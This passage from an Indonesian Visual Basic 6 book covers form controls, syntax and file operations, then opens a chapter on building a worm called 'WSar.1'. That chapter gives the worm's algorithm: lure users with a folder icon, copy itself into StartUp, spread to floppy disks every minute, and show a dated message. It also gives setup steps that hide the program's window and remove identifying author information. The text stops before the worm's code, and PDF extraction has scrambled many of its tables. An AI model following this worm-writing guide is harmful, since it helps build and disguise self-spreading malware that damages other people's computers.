Nama VScrollBar, biasanya diberi prefix vsb Jika bernilai true, mengijinkan VScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, VScrollBar akan menolak event tersebut Tinggi VScrollBar Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat area bar di klik Mengatur nilai terbesar pada properti Value, jangkauan terbesarnya adalah 32,767 Mengatur nilai terkecil pada properti Value, jangkauan terkecilnya adalah -32,768 Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat panah scroll di klik Lebar VScrollBar.
Height LargeChange
Width
Jasakom
64
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Scroll
SAAT TERJADI
Terjadi perubahan pada VScrollBar User melakukan penggulungan dengan mengklik area bar atau panah scroll.
5.2.12 TIMER
Control Timer adalah control yang digunakan untuk event yang tidak memerlukan interaksi user dan berjalan dengan sendirinya. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled
KETERANGAN
Nama Timer, biasanya diberi prefix tmr Jika bernilai true, mengijinkan Timer untuk merespon event yang terjadi. Jika bernilai false, Timer akan menolak event tersebut Mengatur jarak waktu / jeda dalam milliseconds (seperseribu detik) antara waktu panggil dengan dieksekusinya event yang ditentukan. Misalnya suatu Timer memiliki Interval sebesar 500 milliseconds (0.5 second), ini sama saja artinya Timer tersebut akan mengeksekusi procedure didalamnya sebanyak 2 kali dalam 1 detik.
Interval
karena Timer tidak memerlukan interaksi user, maka hanya memiliki satu event yang terjadi pada saat run-time yaitu: EVENT
Timer
SAAT TERJADI
Perubahan waktu, atau pada saat tertentu yang telah ditetapkan.
65
Jasakom
5.2.13 DRIVELISTBOX
Control DriveListBox mengijinkan user untuk memilih suatu drive pada saat run-time. Control ini menampilkan daftar drive yang tersedia di dalam sebuah ComboBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Font
KETERANGAN
Nama DriveListBox, biasanya diberi prefix drv Warna latar belakang DriveListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada DriveListBox Tinggi DriveListBox Lebar DriveListBox.
SAAT TERJADI
Terjadi perubahan pada DriveListBox DriveListBox mendapat fokus Sesaat sebelum fokus berpindah dari DriveListBox.
5.2.14 DIRLISTBOX
Control DirListBox atau directory list box, menampilkan daftar direktori aktif di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Font ForeColor Height Width
KETERANGAN
Nama DirListBox, biasanya diberi prefix dir Warna latar belakang DirListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada DirListBox Tinggi DirListBox Lebar DirListBox.
Jasakom
66
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT Change Click GotFocus LostFocus SAAT TERJADI Terjadi perubahan pada DirListBox User mengklik pada DirListBox DirListBox mendapat fokus Sesaat sebelum fokus berpindah dari DirListBox. Bab 5. Object Form dan Control
5.2.15 FILELISTBOX
Control FileListBox menampilkan daftar file di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Archive BackColor Font ForeColor Height Hidden
KETERANGAN
Nama FileListBox, biasanya diberi prefix fil Jika false, maka tidak menampilkan file yang ber-atribut Archive Warna latar belakang FileListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada FileListBox Tinggi FileListBox Jika true, maka menampilkan file yang beratribut Hidden (Hidden file adalah file yang diatur agar tidak terlihat oleh user) Mengatur cara pemilihan, yang memungkinkan untuk memilih lebih dari satu file Mengatur pola file yang akan ditampilkan pada FileListBox, misalnya *.exe, ini berarti hanya akan menampilkan file yang berekstensi exe saja. Jika false, maka tidak menampilkan file yang beratribut Read only Jika false, maka tidak menampilkan file yang beratribut System Lebar FileListBox
MultiSelect Pattern
67
Jasakom
Di bawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus LostFocus
SAAT TERJADI
User mengklik pada FileListBox User melakukan double click pada FileListBox FileListBox mendapat fokus Sesaat sebelum fokus berpindah dari FileListBox.
5.2.16 SHAPE
Dengan control Shape kita bisa membuat lingkaran (circles), bujur telur (ovals), segi empat (square), persegi panjang (rectangles), segi empat siku bulat (rounded square) dan persegi panjang siku bulat (rounded rectangles). Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor BorderColor BorderStyle BorderWidth FillColor FillStyle Height Shape
KETERANGAN
Nama Shape, biasanya diberi prefix shp Warna latar belakang Shape jika properti BackStyle adalah opaque Mengatur warna garis tepi pada Shape Mengatur jenis garis yang digunakan Mengatur ketebalan garis Mengatur warna isi dari Shape Mengatur cara pengisian warna pada Shape, bisa berupa garis horizontal, vertical, cross atau solid. Tinggi Shape Mengatur bentuk Shape, bisa berupa circles, ovals, square, rectangles, rounded square dan rounded rectangles Lebar Shape.
Width
Jasakom
68
Untuk Shape tidak ada event yang bisa dimanfaatkan, karena Shape dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.17 LINE
Dengan control Line kita bisa membuat gambar garis. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BorderColor BorderStyle BorderWidth
KETERANGAN
Mengatur warna garis Mengatur jenis garis yang digunakan Mengatur ketebalan garis
Untuk Line tidak ada event yang bisa dimanfaatkan, karena Line dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.18 IMAGE
Dengan control Image kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control Image: PROPERTI (Name) Height Picture Stretch Width Tinggi Image Mengatur object gambar pada bidang Image Jika bernilai true, maka object gambar akan menyesuaikan dengan ukuran control Image Lebar Image. KETERANGAN Nama Image, biasanya diberi prefix img
69
Jasakom
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick
SAAT TERJADI
User mengklik pada bidang Image User melakukan double click pada bidang Image.
5.2.19 DATA
Control Data dimanfaatkan pada saat pembuatan aplikasi database. Control ini memudahkan untuk berpindah dari satu data record ke data record lainnya. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Allign BackColor Caption Connect DatabaseName Height RecordSource Width
KETERANGAN
Nama control Data, biasanya diberi prefix dat Mengatur posisi control Data pada form Mengatur warna latar pada control Data Mengatur teks yang ditampilkan pada control Data Mengatur jenis sumber data yang digunakan Menentukan file data yang digunakan Tinggi control Data Menentukan data yang digunakan pada tabel sumber Lebar control Data.
SAAT TERJADI
Saat validasi suatu record terjadi
Jasakom
70
5.2.20 OLE
Control OLE dimanfaatkan untuk memasukan third party object seperti aplikasi MS Word, Paint, Calendar dan lain sebagainya. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) AutoActivate BackColor BorderStyle Class Height SizeMode Width
KETERANGAN
Nama control OLE, biasanya diberi prefix ole Mengatur cara control OLE diaktifkan Mengatur warna latar pada control OLE Mengatur Class yang digunakan Tinggi control OLE Mengatur model ukuran pada control OLE Lebar control OLE. Mengatur jenis garis tepi pada control OLE
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus LostFocus Updated
SAAT TERJADI
User mengklik pada control OLE User melakukan double click pada control OLE Control OLE mendapat fokus Sesaat sebelum fokus berpindah dari control OLE Data berubah, diperbarui
71
Jasakom
Sebagian besar worm komputer di masa lalu dibuat dengan bahasa pemrograman assembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit untuk digunakan. Namun kini, para worm writer lebih memilih menggunakan bahasa pemrograman tingkat tinggi dan tool yang lebih maju, mengingat optimisasi yang dilakukan cenderung bersifat mengaburkan logika dari kode yang ditulis dalam bahasa tingkat tinggi tersebut. Sehingga tingkat kompleksitas program yang dihasilkan dapat mempersulit para peneliti untuk melakukan proses unassembly dan analisa. Melanjutkan bab sebelumya maka bab ini akan memuat teknik penulisan pada salah satu bahasa pemrograman tingkat tinggi tersebut, yaitu bahasa Visual Basic.
73
Jasakom
ode program adalah instruksi-instruksi yang ditulis oleh programmer dengan bahasa pemrograman tertentu, yang memerintahkan aplikasi untuk melakukan tugas tertentu pula. Bahasa yang digunakan pada Visual Basic umumnya hampir sama dengan bahasa pemrograman basic lainnya (basic, turbo basic, qbasic). Dengan Visual Basic, pemrograman tidak dilakukan hanya dengan menulis kode saja tetapi sudah menggunakan pendekatan visual untuk merancang user interface-nya. Pada Visual Basic, kode-kode pemrograman biasanya diletakkan pada object-object sebagai berikut: 1. Object Form, kode ini akan dijalankan apabila Form tersebut diload. 2. Control, control bisa memiliki penugasan sendiri yang disebut dengan event procedure. Setiap control tersebut bisa memiliki event procedure lebih dari satu, dan setiap event procedure yang dibuat bisa membuat aksi yang berbeda. 3. Standard Module, adalah object yang terpisah dari form. Standard Module berisi kode-kode program yang bersifat global yang dapat dipanggil oleh object apa saja.
6.1 VARIABEL
Variabel digunakan pada Visual Basic untuk menyimpan informasi yang diperlukan oleh aplikasi. Untuk memberi nama variabel, harus memiliki syarat sebagai berikut: 1. 2. 3. 4. Tidak lebih dari 40 karakter Berupa huruf, angka dan underscore Karakter pertama berupa huruf Tidak menggunakan kata yang termasuk kode program (kata yang termasuk perintah atau function dalam bahasa Visual Basic).
Variabel dalam Visual Basic memiliki beberapa tipe, pemilihan tipe variabel yang sesuai akan sangat berpengaruh terhadap pemakaian resources oleh program aplikasi yang dibuat.
Jasakom
74
Untuk menghindari kesalahan yang diakibatkan kekeliruan pada pembuatan variabel, biasanya variabel dideklarasikan. Berikut cara untuk mendeklarasikan variabel:
6.1.1 IMPLICIT
Implicit, untuk membuat deklarasi implicit, gunakan sufix (akhiran) yang berhubungan dengan tipe data pada tabel berikut: Tipe Data
Boolean Integer Long (Integer) Single (Floating)
Jangkauan
True (benar) atau False (salah) -32768 s/d 32767 -2147483.648 s/d 2147483647 Negatif: -3.402823E38 s/d -1.401298E-45 Positif: 1.401298E-45 s/d 3.402823E38
Ukuran
2 bytes 2 bytes 4 bytes 4 bytes
Sufix
% & !
Double (Floating)
8 bytes
8 bytes
1 Januari 100 s/d 31 Desember 8 bytes 9999 Referensi Object 4 bytes 0 s/d 2 Milyar Karakter (95/97 1 bytes $ & NT) dan 0 s/d sekitar 65535 p e r karakter (versi 3.1) karakter Null,Error, dan seluruh tipe data 16 byte lain misalnya boolean, numerik, + 1 byte string, object, array. p e r karater 0 s/d 255 1 byte
Variant
Byte
75
Jasakom
6.1.2 EXPLICIT
untuk membuat deklarasi explicit, yang pertama dilakukan adalah menentukan batasan-batasannya. Ada empat jenis tingkatan yang digunakan, yaitu: A. Procedure level Pada tingkatan ini, variabel tidak akan berlaku lagi saat procedure berakhir.
Dim MyInt as Integer Dim MyDouble as Double Dim MyString, YourString as String
B. Procedure level, static Untuk membuat variabel tetap berlaku walaupun procedure telah berakhir, bisa dilakukan dengan mengganti pernyataan "Dim" menjadi kata "Static":
Static MyInt as Integer Static MyDouble as Double Static MyString, YourString as String
Dengan menempatkan pernyataan Static didepan nama procedure maka seluruh variabel dalam procedure itu bersifat static walaupun dideklarasikan oleh pernyataan Dim, contoh:
Static Sub Command1_Click() Dim MyInt as Integer 'bla bla End Sub
Jasakom
76
C. Form (module) level Variabel yang menggunakan form (module) level akan berlaku untuk seluruh procedure yang ada pada form (module) tersebut. Variabel dengan tingkatan form (module) terdeklarasi dengan pendeklarasian general object di jendela kode form (module), juga menggunakan kata "Dim":
Dim MyInt as Integer Dim MyDate as Date
Jika pernyataan yang dibuat terlalu panjang, bisa dilanjutkan ke baris berikutnya dengan menggunakan karakter penghubung underscore ( _ ). Contoh:
Months=Log(Final*IntRate/Deposit+1) _ /Log(1+IntRate)
77
Jasakom
D. Global level Variabel yang menggunakan Global level akan berlaku untuk seluruh procedure yang ada pada aplikasi tersebut, Tingkatan module variabel dideklarasi dengan pendeklarasian general object di jendela kode module (sebaiknya menampung variabel global di dalam sebuah module), menggunakan pernyataan "Global":
Pernyataan komentar dimulai dengan pernyataan "Rem" atau single quote ('), contoh:
Rem Haiiii ini cuma komentar 'Nah ini gak bakal diakses program h = b / 2 'cara lain memberi komentar
6.3 OPERATOR
Operator adalah hal yang sangat penting dalam menulis kode sebuah program. Adapun operator yang digunakan pada Visual Basic 6.0 adalah: Bab 6. Kode program
Jasakom
78
Operator
^ */ \ Mod +Pangkat
Keterangan
Perkalian dan pembagian Pembagian bulat Sisa bagi Pertambahan dan pengurangan
Untuk menggabung dua string atau lebih, bisa menggunakan simbol '& atau '+, contoh:
Label1.caption="Nama saya" & "Komeng"
79
Jasakom
Operator
= <> < > <= >= Like Is
Keterangan
Sama dengan Tidak sama dengan Lebih kecil dari Lebih besar dari Lebih kecil atau sama dengan Lebih besar atau sama dengan Pencocokan pola Sama referensi object
Hasil suatu operasi komparasi adalah suatu nilai boolean berupa true (benar) atau false (salah). Contoh : Bab 6. Kode program
1=42 'menghasilkan false 2-1<>4-2 'menghasilkan true x="wrm.pif" like "*.pif" 'menghasilkan true x="wrm.scr" like "wr?.*" 'menghasilkan true
Keterangan
Logika bukan Logika dan Logika atau Exclusive Or Ekivalen Implikasi
1. Operator Not akan menghasilkan nilai true jika ungkapannya memang salah.
Jasakom
80
2. Operator And akan menghasilkan nilai true jika semua ungkapan benar, dan akan menghasilkan false, jika salah satu ungkapan salah atau semua ungkapan salah. 3. Operator Or akan menghasilkan nilai true jika salah satu ungkapan benar, dan akan menghasilkan false jika semua ungkapan salah. 4. Operator Xor akan menghasilkan nilai true jika satu ungkapan salah dan satu ungkapan lain benar, dan akan menghasilkan nilai false apabila semua ungkapan benar atau semua ungkapan salah. 5. Operator Eqv adalah kebalikan dari operator Xor, akan menghasilkan nilai true jika kedua ungkapan sama-sama benar atau samasama salah, dan akan menghasilkan false jika satu ungkapan salah dan satu ungkapan lain benar. 6. Operator Imp akan menghasilkan nilai true jika ungkapan pertama benar dan ungkapan kedua salah, selain kondisi tersebut akan menghasilkan false. Bab 6. Kode Program
81
Jasakom
Atau kita bisa menambahkan statement ElseIf, sehingga menjadi: If <conditions> then [statements and expressions] ElseIf <conditions> then [statements and expressions] Else [statements and expressions] End If
Jasakom
82
83
Jasakom
GoTo <line> [statements and expressions] <line> [statements and expressions] Return Sebagai contoh:
Sub Form_activate() Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang " & Num GoTo Akhir 'melompati sub Cabang Cabang: Num = Year(Now)-Num Return Akhir: End Sub
Jasakom
84
6.5.1 DO WHILE/LOOP
Contoh dibawah ini akan melakukan perulangan yang berlangsung selama (while) variabel Counter lebih kecil atau sama dengan 500. Sementara statement Debug.Print akan menampilkan perhitungan tersebut pada jendela Debug.
Counter = 1 Do While Counter <= 500 Debug.Print Counter Counter = Counter + 1 Loop
6.5.2 DO UNTIL/LOOP
Contoh dibawah ini akan melakukan perulangan sampai (until) variabel Counter melebihi 500.
Counter = 1 Do Until Counter > 500 Debug.Print Counter Counter = Counter + 1 Loop
85
Jasakom
6.5.5 FOR/NEXT
Teknik perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir. Bentuk penulisannya: Bab 6. Kode program For <counter> = <awal> to <akhir> [step<step>] [statements and expressions] [Exit For] [statements and expressions] Next [<counter>] Pada contoh berikut, variabel Y diawali dengan nilai 1 dan masingmasing perulangan ditambah dengan 20 step (langkah). Perulangan ini terus berlanjut sampai variabel Y menjadi lebih besar atau sama dengan 500. Jika step tidak dimasukan maka nilai default-nya adalah 1.
For Y = 1 to 500 Step 20 A = Y * 2 Debug.Print A Next I
Perulangan bisa dihentikan dengan statement Exit For, yang akan langsung mengakses baris setelahnya.
Jasakom
86
6.6.1 END
Digunakan untuk memaksa program berhenti dari suatu procedure atau pernyataan program. Beberapa bentuk pernyataan End, adalah sebagai berikut: 1. End, digunakan untuk mengakhiri aplikasi, menutup semua form yang terbuka dan bisa diletakkan dimana saja 2. End If, digunakan untuk mengakhiri blok pernyataan If/Then/ Else 3. End With, digunakan untuk mengakhiri blok pernyataan With 4. End Select, digunakan untuk mengakhiri blok pernyataan Select Case 5. End Type, digunakan untuk mengakhiri struktur Type 6. End Property, digunakan untuk mengakhiri Property 7. End Sub, digunakan untuk mengakhiri Sub 8. End Function, digunakan untuk mengakhiri Function.
6.6.2 EXIT
Digunakan untuk mengakhiri suatu blok pernyataan program. Beberapa bentuk pernyataan Exit, adalah sebagai berikut: 1. Exit Do, digunakan untuk keluar dari perintah do/loop dan control program di bawah perintah Loop. 2. Exit For, digunakan untuk keluar dari perintah For/Next dan control program ke bawah perintah Next. 3. Exit Function, digunakan untuk keluar dari badan function yang dipanggil dan control program kebawah baris pemanggil.
87
Jasakom
4. Exit Property, digunakan untuk keluar dari badan procedure Property yang sedang tampil dan control program ke bawah baris pemanggil procedure Property tersebut. 5. Exit Sub, digunakan untuk keluar dari badan procedure Sub yang sedang tampil dan control program ke bawah baris pemanggil procedure Sub tersebut.
6.6.3 STOP
Untuk menghentikan sementara pelaksanaan program. Pernyatan Stop tidak menutup program yang dibuka dan tidak menghapus nilai variabel, sehingga pernyataan bisa dilanjutkan kembali.
6.7 ARRAY
Array adalah kumpulan variabel serupa, dimana masing-masing variabel memiliki nama dan jenis yang sama. Array umumnya memiliki index, elemen pertama memiliki nomor index 0 (nol). Array bisa dideklarasikan dengan dua cara, sebagai variabel tunggal dan dengan menggunakan pernyataan To.
Jasakom
88
2. ArrayName, adalah nama dari array 3. Subscript, adalah jumlah elemen pada array. Karena index pertama pada array adalah 0 (nol), maka apabila suatu Subscript adalah 5, index pada elemen terakhir adalah 4 (elemen0, elemen1, elemen2, elemen3, elemen4) 4. As, adalah keyword pada Visual Basic untuk menandakan suatu deklarasi jenis 5. DataType, adalah jenis data yang berlaku pada Visual Basic, seperti String, Integer atau Double. Contoh dibawah akan mendeklarasikan array dengan jenis data String dan dengan lima elemen didalamnya.
Dim nama nama(0)= nama(1)= nama(2)= nama(3)= nama(4)= (5) as string "kangen" "mistery" "puisi cinta" "kenangan" "my heart"
89
Jasakom
Untuk memindah file: "c:\windows\calc.exe" ke lokasi "c:\windows\ system\calc.exe" dapat menggunakan perintah berikut ini:
Jasakom
90
Contoh, untuk menghapus seluruh file yang berekstensi "bak" (dengan menggunakan wildcards) pada direktori "c:\windows" dapat menggunakan sintaksis berikut ini:
Kill "c:\windows\*.bak"
91
Jasakom
: Menentukan path dan file yang akan disetting atributnya. : menentukan atribut dengan menggunakan symbolic constants atau value, diantaranya: Value
0 1 2 4 8 16 32
Keterangan
Jenis atribut normal, menandakan file tidak diatur oleh atribut apapun. Read only Hidden System Volume label Directory Archieve
Untuk memberi lebih dari satu atribut dengan menggunakan value, tinggal menambah bilangan pada atribut. Misalnya untuk memberi atribut Archieve (32) dan Read only (1) secara bersamaan maka digunakan bilangan 33. Sedangkan untuk menggunakan symbolic constant, yaitu dengan menambahkan tanda tambah "+" disetiap constant berikutnya. Contoh, untuk mengatur atribut file: "c:\windows\notepad .exe" menjadi Archieve dan Hidden, maka dapat menggunakan sintaksis berikut ini:
SetAttr("c:\windows\notepad.exe"), 34
Jasakom
92
Atau
SetAttr("c:\windows\notepad.exe"), vbArchiev e +vbHidden
Untuk bisa mengetahui atribut suatu file, bisa menggunakan sintaksis berikut ini: GetAttr ([filename]) filename : menentukan path dan file yang ingin diketahui atributnya. Contoh, untuk mengetahui atribut pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox GetAttr("c:\windows\calc.exe")
Sintaksis ini akan memberikan hasil berupa value seperti pada cara pembuatan atribut: 1 untuk Read only, 2 untuk Hidden, dan seterusnya.
93
Jasakom
Contoh, untuk mengetahui kapasitas pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox FileLen("c:\windows\calc.exe")
Jasakom
94
Contoh, untuk mengetahui direktori aktif pada drive C dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox CurDir("C")
95
Jasakom
Catatan : Untuk menghapus suatu direktori, maka direktori yang akan dihapus harus benar-benar empty (kosong), tidak berisi file atau sub-direktori apapun.
Jasakom
96
destination : menentukan nama direktori baru dengan drive dan path yang sama. Contoh, untuk mengubah nama direktori: "C:\Contoh" menjadi direktori: "C:\Misal" dapat menggunakan perintah berikut ini:
Name "C:\Contoh" As "C:\Misal"
97
Jasakom
filename : menentukan path dan file yang akan berlaku sebagai output. Apabila terdapat file dengan nama dan path yang sama maka file tersebut akan di overwrite num text : bilangan Integer : isi dari file text yang ingin ditulis
Contoh, untuk membuat file: "c:\runner.bat", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya As String filenya = "c:\runner.bat" Open filenya For Output As #1 Print #1, "rem runner winword.exe w32.exe" Print #1, "command /c %1" Print #1, "command /c %2" Close(1) End Sub
Jasakom
98
Contoh, untuk membaca file: "c:\runner.bat" dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya, isifile as string filenya = "c:\runner.bat" Open filenya For Input As #1 isifile = Input(LOF(1),1) Close 1 Text1.text = isifile End Sub
99
Jasakom
Contoh, untuk membuat file: "c:\contoh.bat" dengan isi file berupa teks "echo belajar file binary", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String filename = "c:\contoh.bat" content = "echo belajar file binary" Open filename For Binary Access Write As #1 Put #1, , content Close #1 End Sub
Contoh, untuk membaca file: "c:\windows\notepad.exe" dan menampilkan huruf mulai dari karakter ke 113 hingga 4 karakter dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String filename = "c:\windows\notepad.exe" content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 Text1.text = Mid(content, 113, 4) End Sub
Jasakom
100
Keterangan
Digunakan untuk meng-copy file Digunakan untuk meng-copy folder beserta isi-isinya Digunakan untuk membuat suatu direktori atau folder baru Digunakan untuk membuat suatu file text Digunakan untuk menghapus satu atau lebih file dan bisa menggunakan wildcards; atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut read only
101
Jasakom
DeleteFolder(FolderSpec, [Force])
Digunakan untuk menghapus suatu folder beserta isi-isinya, atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut Read only Memberikan nilai true jika drive yang ditentukan ada Memberikan nilai true jika file yang ditentukan ada Memberikan nilai true jika folder yang ditentukan ada Mengambil drive dari suatu path Mengambil ekstensi dari file Mengambil nama file dan ekstensi tanpa path lengkap Untuk mendapatkan folder induk dari suatu path Untuk mendapatkan suatu folder spesial pada Windows. 0: untuk Windows Folder 1: untuk System Folder 2: untuk Temporary Folder
Digunakan untuk memindahkan suatu file ke lokasi berbeda Digunakan untuk memindahkan suatu folder ke lokasi berbeda
Contoh lain, untuk meng-copy file dari: "c:\windows\notepad.exe" ke direktori A pada disket, dapat menggunakan procedure berikut ini:
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.filesystemobject") fso.copyfile "c:\windows\notepad.exe", "a:\" End Sub
Jasakom
102
Kenapa bab ini ada? Bab ini adalah salah satu bab inti dari buku ini, yang memuat tentang cara-cara pembuatan worm. Perlu untuk penulis ingatkan kembali, bahwa membicarakan masalah pembuatan suatu worm membutuhkan pemahaman tentang tanggung jawab moral yang besar, karena worm dapat menimbulkan kerugian yang sangat besar baik berupa materiil maupun non materiil. Namun demikian, penulis tetap memberikan trik-trik real yang digunakan para worm writer dalam membuat suatu worm, karena akan mengingatkan pembaca semua, bahwa worm adalah program yang sangat berbahaya dan dapat dibuat dengan mudah.
103
Jasakom
anyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungkapan ini digunakan dalam proses pembuatan suatu worm.
Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan sudah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini. Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan: 1. Jika memungkinkan, sangat disarankan untuk menggunakan komputer tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang 2. Gunakan program pembantu seperti ShadowUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilakukan bahkan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula. Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan menimbulkan efek yang sama dengan restart komputer. Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh DeepFreeze. Sementara untuk program ShadowUser lebih flexibel. Anda tinggal menentukan folder apa saja yang ingin dibebaskan dari proteksi
Jasakom
104
3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus. Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya. Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan. Bab 7. Worm WSar.1
105
Jasakom
7..2 ALGORITMA
Worm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A 4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1 Ada Pada Komputer Anda" dan menghentikan segala aktifitas worm pada hari tersebut.
7.3 PEMROGRAMAN
Buka aplikasi Visual Basic. Pada kotak dialog New Project klik icon Standard EXE pada tab New dan klik Open, untuk menampilkan kotak dialog New Project bisa dengan klik File pada menubar kemudian pilih New Project.
Jasakom
106
Visual basic secara otomatis memberikan sebuah project dengan nama default Project1 dan sebuah form di dalamnya dengan nama default Form1.
Sebagai langkah pertama, aturlah Project Properties dengan mengklik kanan nama project pada jendela Project Explorer yang dalam hal ini nama project masih bernama Project1, kemudian klik 'Project1 Properties
107
Jasakom
Akan tampil kotak dialog Project Properties dan berada pada tab General. Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar. Dalam pengisian Project Name, tidak boleh menggunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya. Untuk melanjutkan pindah ke menu Make dengan mengklik tab Make.
Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name. Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan ? Jika value yang dihapus ternyata kembali saat project di-load Anda bisa menghapusnya lagi dan menambahkan sebuah karakter spasi. Kemudian pindah ke menu Compile dengan mengklik tab Compile.
Jasakom
108
Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada menggunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.
Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer. Dalam hal ini, nama form masih bernama Form1, secara otomatis segala properti pada Form1 akan ditampilkan pada jendela Properties. Anda juga bisa meng-klik ComboBox pada jendela Properties dan pilih object Form1.
109
Jasakom
Nilai
frmWSar1 (Icon)
Keterangan
Mengatur nama form menjadi frmWSar1 Pilih icon yang akan digunakan pada form, WSar.1 menggunakan icon folder. ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.
ShowInTaskbar Visible
False False
Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user. Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1: Bab 7. Worm WSar.1 Jenis
Name Enable Interval
Nilai
tmrWSar True 60000
Keterangan
Mengatur nama Timer menjadi tmrWSar Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
